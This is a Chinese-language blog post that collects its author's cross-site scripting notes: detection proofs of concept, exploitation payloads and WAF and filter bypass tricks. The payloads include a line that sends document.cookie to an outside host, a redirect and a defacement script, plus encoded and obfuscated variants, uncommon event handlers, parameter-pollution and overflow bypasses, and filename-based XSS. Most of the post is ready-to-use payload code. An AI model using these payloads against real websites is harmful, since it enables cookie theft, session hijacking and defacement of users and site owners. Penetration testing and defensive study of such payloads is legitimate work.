xss个人经验总结

1,利用xss跳转网页 alert(window.location.href='http://www.sjtu.edu.cn')
2,弹出cookie alert(document.cookie)
2,可以试着对xss poc代码进行url编码再利用
3,闭合相应的标签;可以试着用“+”替代空格
4,cookie中有&等字符会分割cookie以至于打不到完整cookie这时可以用 escape(document.cookie)

经典POC

检测:
<script>alert('xss')</script>
<a href='' onclick=alert('xss')>type</a>
<img src=http://192.168.1.1/a.jpg onerror=alert('xss')>
<svg/onload=alert(1)>
利用:
<script>window.location='http://1.1.1.1'</script>
<iframe SRC="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
<script>document.body.innerHTML=''<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>

技巧:

1. 过滤了script标签 :

<input/onclick=alert(111)>

2. hidden下隐藏表单触发事件弹窗

<input type=hidden value==11 accesskey="h" onclick=alert(111)>

firefox下按 shift+alt+h 触发
3. script隐藏绕过弹窗

<script src="data:,alert(111)"></SCRIPT>

4. 小括号过滤绕过弹窗

<img src=111111 onerror=alert&lpar;2&rpar;>

5. 闭合url跳转,绕过alert检测

www.baidu.com";prompt(111);//

6. asp.net开发网站

使用asp.net开发的网站,测试xss的时候可以采用:
使用unicode编码即可绕过,例如<被编码后成\u003c,后台会解码成<。如果\被过滤,可以用%替代。

原理:asp.net下会对程序进行最佳映射,然后会对unicode进行自动解码,最佳映射的时候payload会被执行。

7. 不同浏览器导致的差异问题

上传了一个xss文件,但用火狐和chrome访问发现会下载,但切换成ie浏览器会执行。

8. 双重url编码xss

9. web端和移动端的差异
输入xss代码在web端,web端发生过滤
移动端/手机app未过滤导致xss

10. 文件名xss

图片上传/文件上传,文件名xss payload然后上传。
1. <img src=a onerror=alert(1)>.png
2. &lt;img src=a onerror=alert(1)&gt;.png
3. " onclick="alert(1).png

waf绕过

了解javascript特性可以让我们更好的绕过waf
变量x的定义方式:

var x=1
const x=1
let x=1
self['x']=1
top['x']=1
window['x']=1
this['x']=1
a=1

了解变量的定义后针对性的绕过
猜测后台的过滤规则,针对过滤点,尝试绕过。例如在大部分情况下,小括号可以用反反引号代替,alert被过滤可以尝试confirm、prompt等

self[`ale`+`rt`]`1`
window[`pro`+`mpt`]`2`

万能的换行符
发现<a><iframe>标签没有过滤,但是过滤了alert、script等关键字

1.
<a Href="javas
cript:al
ert(1)//;
">aaa</a>
2.
<iframe ddd/src="j&#97;vascript:al
Ert
&#40; '123' &#41;"/>

:被过滤可以使用&colon;替代

冷门的javascript事件
常用的javascript事件,可能不在黑名单范围内:
常用的onclick、onerror大多数会被过滤,提供几个不常用的javascript事件:

<body onpageshow=top['alert'](1)>
<details onToGgle=a=prompt,a(2) open>
<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<marquee/onstart=confirm(2333)>/

水满则溢
输入一段payload:<img src=a onerror=alert(1)>
可能这个程序会把它过滤的一干二净,输入100个这样的payload,输入300个这样的payload......。玄学概率绕过。
参数溢出绕过waf
http://xx.com?a=n多个a">xss payload
参数污染导致的waf绕过
服务器在接受参数时,如果出现一个参数提交两次,content=1&content=2,最终的显示会是1,2的格式,由此可以利用参数污染漏洞将xss payload分割前后,导致waf绕过。

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXBOPg">
注:第二个参数加个空格再继续跟payload

DOM xss挖掘

场景1
xss1.png
场景2
xss2.png
场景3
xss3.png
场景4

titile可控,JQuery attr导致的dom_xss


xss4.jpg
场景5

getElementByName导致的DOM-XSS漏洞


xss5.jpg

黑盒测试下的fuzz

html实体编码可以自动解析,在实战中可以使用下面的payload:

'"><img/src/onerror=alert(1)>&quot;&gt:&lt;/div&gt;&lt;img src=1 onerror=alert(1)&gt;">
假设做了一些过滤,可以采用:&lt;img src=1&gt;来尝试加载图片。
或者:&quot;&gt;&lt;iframe src=http://baidu.com&gt;进行初步探测。

参考:

https://www.cnblogs.com/darking/p/7865439.html
https://www.cnblogs.com/piaomiaohongchen/p/10084573.html
https://www.cnblogs.com/piaomiaohongchen/p/10337924.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,530评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 86,403评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,120评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,770评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,758评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,649评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,021评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,675评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,931评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,659评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,751评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,410评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,004评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,969评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,203评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,042评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,493评论 2 343

推荐阅读更多精彩内容

  • XSS常见Payload总结 XSS漏洞的存在与发生伴随两个概念: 输入函数和输出函数。XSS攻击Payload...
    BerL1n阅读 2,674评论 0 3
  • 浅谈XSS—字符编码和浏览器解析原理 XSS简介 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascadin...
    Smi1e_阅读 4,628评论 2 3
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,027评论 0 16
  • 事件源对象 event.srcElement.tagName event.srcElement.type 捕获释放...
    孤魂草阅读 867评论 0 0
  • 本博客转自:「作者:若愚链接:https://zhuanlan.zhihu.com/p/22361337来源:知乎...
    韩宝亿阅读 2,748评论 0 3